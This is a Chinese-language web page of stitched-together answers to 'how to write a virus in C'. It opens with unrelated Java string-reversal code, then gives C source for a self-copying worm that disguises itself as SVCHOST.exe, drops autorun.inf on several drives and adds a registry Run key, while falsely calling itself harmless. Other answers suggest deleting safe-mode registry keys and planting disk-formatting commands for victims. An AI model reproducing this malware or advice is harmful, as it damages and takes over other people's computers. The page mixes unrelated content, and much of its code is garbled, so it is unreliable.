本文目錄一覽:
怎樣用C語言編寫病毒
1.最簡單的方法:
public static String reverse1(String str)
{
return new StringBuffer(str).reverse().toString();
}
2.最常用的方法:
public static String reverse3(String s)
{
char[] array = s.toCharArray();
String reverse = “”; //注意這是空串,不是null
for (int i = array.length – 1; i = 0; i–)
reverse += array[i];
return reverse;
}
3.常用方法的變形:
public static String reverse2(String s)
{
int length = s.length();
String reverse = “”; //注意這是空串,不是null
for (int i = 0; i length; i++)
reverse = s.charAt(i) + reverse;//在字元串前面連接, 而非常見的後面
return reverse;
}
4.C語言中常用的方法:
public static String reverse5(String orig)
{
char[] s = orig.toCharArray();
int n = s.length – 1;
int halfLength = n / 2;
for (int i = 0; i = halfLength; i++) {
char temp = s[i];
s[i] = s[n – i];
s[n – i] = temp;
}
return new String(s); //知道 char數組和String相互轉化
}
如何用C語言寫病毒?
在讀本程序前請保證不用此程序進行違法活動,否則,請馬上離開.最基本的病毒.
本病毒的功能:
1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件
2.在C、D、E盤中生成自動運行文件
3.註冊c:\windows\system\svchost.exe,使其開機自動運行
4.在C:\windows\system下生成隱蔽DLL文件
5.病毒在執行後具有相聯複製能力本病毒類似普通U盤病毒雛形,具備自我複製、運行能力。以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過
請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#includestdio.h
#includestring.h
char *autorun={“[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe”};
char *files_autorun[10]={“c:\\autorun.inf”,”d:\\autorun.inf”,”e:\\autorun.inf”};
char *files_svchost[SVCHOST_NUM+1]={“c:\\windows\\system\\MSMOUSE.DLL”,
“c:\\windows\\system\\SVCHOST.exe”,”c:\\windows\\SVCHOST.exe”,
“c:\\SVCHOST.exe”,”d:\\SVCHOST.exe”,”e:\\SVCHOST.exe”,”SVCHOST.exe”};
char *regadd=”reg add \”HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\” /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f”;int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 ((input=fopen(infile,”rb”))!=NULL) ((output=fopen(outfile,”wb”))!=NULL))
{
while(!feof(input))
{
fread(temp,1,1,input);
fwrite(temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i3;i++)
{
output=fopen(files_autorun[i],”w”);
fprintf(output,”%s”,autorun);
fclose(output);
}
for(i=0;i=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],”rb”))!=NULL)
{
fclose(input);
for(k=0;kSVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 註冊SVCHOST.exe,讓其在啟動時運行 */
return 0;
} 如果你想來狠點;把安全模式的註冊表項也刪除了.讓它進不了安全模式;
警告:不會修改註冊表的人;別運行本程序…
怎麼用C語言寫個簡單病毒,給個代碼過程
一個簡單的病毒就要很長的代碼,寫病毒沒有那麼簡單。
不過你可以試試利用cmd命令,比如刪除拉,格式化拉,拷貝拉,寫進代碼里。別人一打開程序資料盤就格掉了,嘿嘿。
用c語言編寫一個計算機病毒的例子
1):首先要知道語言的層次結構,通常會有直接使用「+」「-」「*」「%」語言都是高級語言。這些語言寫的代碼經過編譯前端編譯後生成中間代碼,最後經過編譯後端處理成目標代碼,也就是在目標平台上可執行的二進位代碼。
2):要知道計算機能執行的只是二進位的代碼。無論是高級語言表達式,如(1+2),還是彙編語言,add
r1,r2,r3.
都要翻譯成目標平台的二進位代碼。
如果你學過微型計算機原理,應該知道一個彙編指令,最終要執行還得用處理器的微指令來表達。
3):最後這些微指令轉化成電信號,控制處理器內的眾多的與或非門,來實現你想要做的運算。
怎樣用C語言編寫病毒 / 藍訊
要編製一個病毒,首先要知道病毒的運行機理。
不論是何種病毒,它一般在結構上分為三個功能模塊:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本
原因。我們可以用一段類C偽碼來表示這個過程。
InfectSection()
{
if (infectable_object_found
object_not_already_infect)
infect_object;
}
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本後觸發.
一個簡單的觸發機制可能是這樣工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄信息,重新格式化你的磁碟,把它自己郵給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/245256.html